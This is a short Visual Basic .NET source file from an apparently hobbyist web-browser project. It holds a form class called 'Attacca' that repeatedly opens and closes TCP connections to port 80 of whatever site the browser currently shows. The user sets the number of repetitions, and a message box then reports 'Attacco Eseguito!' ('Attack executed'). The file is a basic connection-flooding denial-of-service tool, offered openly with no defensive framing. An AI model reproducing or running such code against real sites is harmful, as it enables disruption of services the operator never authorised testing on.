Imports System
Imports Web_Browser_2
Imports System.Drawing
Imports System.Collections
Imports System.ComponentModel
Imports System.Net
Imports System.Net.Sockets
Imports System.Threading
Public Class Attacca
Dim Iph As IPHostEntry = Dns.Resolve(frmBrowser.WebBrowser.Url.Host)
Dim Ip As IPAddress
Dim Sck As Socket
Dim Ipe As IPEndPoint
Dim Thr As New ThreadStart(AddressOf Attack)
Dim T As Thread
Sub Attack()
Dim i As Integer
For i = 0 To TextBox1.Text
For Each Ip In Iph.AddressList
Ipe = New IPEndPoint(Ip, "80")
Sck = New Socket(AddressFamily.InterNetwork, SocketType.Stream, ProtocolType.Tcp)
Sck.Connect(Ipe)
Sck.Close()
Next Ip
Next i
If i = TextBox1.Text Then
MsgBox("Attacco Eseguito!", MsgBoxStyle.Information, "GLoBaL WeB")
T.Abort()
End If
End Sub
Private Sub Button1_Click_1(ByVal sender As System.Object, ByVal e As System.EventArgs) Handles Button1.Click
TextBox1.Enabled = False
T = New Thread(Thr)
T.Start()
End Sub
Private Sub Button2_Click(ByVal sender As System.Object, ByVal e As System.EventArgs) Handles Button2.Click
On Error Resume Next
Sck.Close()
T.Abort()
Me.Close()
End Sub
End Class